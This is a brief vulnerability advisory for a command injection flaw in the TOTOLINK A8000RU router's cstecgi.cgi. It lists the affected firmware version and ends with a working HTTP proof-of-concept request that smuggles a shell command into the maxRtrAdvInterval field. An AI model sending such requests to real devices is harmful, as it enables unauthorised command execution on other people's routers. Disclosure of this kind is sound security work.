# A8000RU Command Injection Vulnerability Summary ## Vulnerability Overview The TOTOLINK A8000RU router has a command injection vulnerability. An attacker can construct malicious requests and exploit the `maxRtrAdvInterval` parameter in `cstecgi.cgi` to execute arbitrary operating system commands. ## Impact Scope - **Vendor**: TOTOLINK - **Product**: A8000RU - **Version**: 7.1cu1.643.20200521 ## Remediation Plan Currently, no specific remediation plan is provided on the page. It is recommended to contact the vendor for patches or firmware updates. ## Exploit Code (PoC) ```http POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.6.2 Content-Length: 82 X-Requested-With: XMLHttpRequest Accept-Language: en-US,en;q=0.9 Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Origin: http://192.168.6.2 Referer: http://192.168.6.2/basic/index.html Accept-Encoding: gzip, deflate, br Cookie: SESSION_ID=1772465702.2 Connection: keep-alive {"topcurL":"setRadvCfg","maxRtrAdvInterval":"ls>./setRadvCfg.txt"} ```